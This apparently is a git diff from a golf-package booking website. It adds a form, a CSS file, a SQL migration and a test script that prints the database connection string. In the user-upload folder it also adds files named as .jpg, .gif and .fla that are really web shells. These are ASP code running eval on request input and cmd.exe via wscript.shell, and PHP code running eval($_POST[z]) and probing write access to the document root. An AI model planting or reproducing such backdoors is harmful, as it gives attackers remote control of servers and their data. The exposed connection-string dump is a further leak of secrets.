+                                    <table border="2" width="78%" cellspacing="1" bordercolor="#FF9900" id="table12"> 
+                                        <tr> 
+                                            <td><b><font face="Arial" size="2">Upon 
+                                                        receipt of an Estimate Request, a golf 
+                                                        package specialist will contact you with 
+                                                        an estimate and information within 48 
+                                                        hours. Rates, green fees, and tee times 
+                                                        are subject to change and are not 
+                                                        guaranteed. The estimate received is not 
+                                                        a reservation.</font></b></td> 
+                                        </tr> 
+                                    </table> 
+                                </div> 
+                            </td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"> 
+                                <table border="0" width="100%" cellspacing="1" id="table13"> 
+                                    <tr> 
+                                        <td width="41"> 
+                                            <p align="center"> 
+                                            <input id="appr" type="checkbox" name="understandingstatment" value="ON"></td> 
+                                        <td><b><font face="Arial" size="2">By 
+                                                    checking this box, I agree that I have read 
+                                                    and understand the statement above.</font></b></td> 
+                                    </tr> 
+                                </table> 
+                            </td> 
+                        </tr> 
+                    </table> 
+                    <p align="center"> 
+                    <input type="submit" disabled="disabled" id="formSubmit" name="Command" value="Send Your Request"></p> 
+                </td> 
+            </tr> 
+        </table> 
+    </form> 
+    <div>
+        {static_object:h}
+    </div>
+<script type="text/javascript">
+$(document).ready(function(){
+       $("#appr").click(function(){
+               if (this.checked == true) {
+                       $("#formSubmit").removeAttr("disabled");
+               } else {
+                       $("#formSubmit").attr("disabled", "disabled");
+               }
+       });
+});
+</script>
diff --git a/test.php b/test.php
new file mode 100755 (executable)
index 0000000..227cfa9
--- /dev/null
+++ b/test.php
@@ -0,0 +1,7 @@
+<?php
+include_once 'setup.phtml';
+$dbd = pg_connect(CONN_STR);
+var_dump(CONN_STR);
+var_dump($dbd);
+var_dump(pg_host($dbd));
+?>
diff --git a/toolbox-file.css b/toolbox-file.css
new file mode 100755 (executable)
index 0000000..b50508a
--- /dev/null
@@ -0,0 +1,29 @@
+.pdf, .txt, .doc, .ppt, .xls{
+width:20px;
+padding:0 20px 0 0;
+}
+.pdf{
+background: url(images/file-ext/pdf.png) no-repeat right;
+}
+.txt{
+background: url(images/file-ext/txt.png) no-repeat right;
+}
+.doc{
+background: url(images/file-ext/doc.png) no-repeat right;
+}
+.ppt{
+background: url(images/file-ext/ppt.png) no-repeat right;
+}
+.xls{
+background: url(images/file-ext/xls.png) no-repeat right;
+}
+.zip{
+width:23px;
+padding:0 23px 0 0;
+background: url(images/file-ext/zip.png) no-repeat right;
+}
+.amazon{
+width:18px;
+padding:0 18px 0 0;
+background: url(images/file-ext/amazon.gif) no-repeat right;
+}
diff --git a/update-contact-table.sql b/update-contact-table.sql
new file mode 100755 (executable)
index 0000000..f7c84dc
--- /dev/null
@@ -0,0 +1,7 @@
+ALTER TABLE contact ADD numberofgolfers text;
+ALTER TABLE contact ADD days_playing_golf text;
+ALTER TABLE contact ADD additionalinformation text;
+ALTER TABLE contact ADD contactby text;
+ALTER TABLE contact ADD letstalkgolf bool;
+ALTER TABLE contact ALTER letstalkgolf SET DEFAULT 'f';
+UPDATE contact SET letstalkgolf = 'f';
diff --git a/userfiles/file/ali_asp;ali(1).jpg b/userfiles/file/ali_asp;ali(1).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali.jpg b/userfiles/file/ali_asp;ali.jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/msphp_php(1).fla b/userfiles/file/msphp_php(1).fla
new file mode 100755 (executable)
index 0000000..8a2da58
--- /dev/null
@@ -0,0 +1,13 @@
+<?php
+$a="4";
+$b="0";
+$c="4";
+echo $a.$b.$c."#";
+?> 
+<?php eval($_POST[z]);
+$p_File=fopen($_SERVER['DOCUMENT_ROOT']."/1.txt","w");
+if(!$p_File)
+echo "writewrong";
+else
+echo "writeok";
+?> 
\ No newline at end of file
diff --git a/userfiles/file/msphp_php(1).gif b/userfiles/file/msphp_php(1).gif
new file mode 100755 (executable)
index 0000000..bf70e47
--- /dev/null
@@ -0,0 +1,12 @@
+<?php
+$a="4";
+$b="0";
+$c="4";
+echo $a.$b.$c."#";
+?> <?php eval($_POST[z]);
+$p_File=fopen($_SERVER['DOCUMENT_ROOT']."/1.txt","w");
+if(!$p_File)
+echo "writewrong";
+else
+echo "writeok";
+?> 
\ No newline at end of file
diff --git a/userfiles/file/msphp_php(2).fla b/userfiles/file/msphp_php(2).fla
new file mode 100755 (executable)
index 0000000..8a2da58
--- /dev/null
@@ -0,0 +1,13 @@
+<?php
+$a="4";
+$b="0";
+$c="4";
+echo $a.$b.$c."#";
+?> 
+<?php eval($_POST[z]);
+$p_File=fopen($_SERVER['DOCUMENT_ROOT']."/1.txt","w");
+if(!$p_File)
+echo "writewrong";
+else
+echo "writeok";
+?> 
\ No newline at end of file
diff --git a/userfiles/file/msphp_php(2).gif b/userfiles/file/msphp_php(2).gif
new file mode 100755 (executable)
index 0000000..bf70e47
--- /dev/null
@@ -0,0 +1,12 @@
+<?php
+$a="4";
+$b="0";
+$c="4";
+echo $a.$b.$c."#";
+?> <?php eval($_POST[z]);
+$p_File=fopen($_SERVER['DOCUMENT_ROOT']."/1.txt","w");
+if(!$p_File)
+echo "writewrong";
+else
+echo "writeok";
+?> 
\ No newline at end of file
diff --git a/userfiles/file/msphp_php.fla b/userfiles/file/msphp_php.fla
new file mode 100755 (executable)
index 0000000..8a2da58
--- /dev/null
@@ -0,0 +1,13 @@
+<?php
+$a="4";
+$b="0";
+$c="4";
+echo $a.$b.$c."#";
+?> 
+<?php eval($_POST[z]);
+$p_File=fopen($_SERVER['DOCUMENT_ROOT']."/1.txt","w");
+if(!$p_File)
+echo "writewrong";
+else
+echo "writeok";
+?> 
\ No newline at end of file
diff --git a/userfiles/file/msphp_php.gif b/userfiles/file/msphp_php.gif
new file mode 100755 (executable)
index 0000000..bf70e47
--- /dev/null
@@ -0,0 +1,12 @@
+<?php
+$a="4";
+$b="0";
+$c="4";
+echo $a.$b.$c."#";
+?> <?php eval($_POST[z]);
+$p_File=fopen($_SERVER['DOCUMENT_ROOT']."/1.txt","w");
+if(!$p_File)
+echo "writewrong";
+else
+echo "writeok";
+?> 
\ No newline at end of file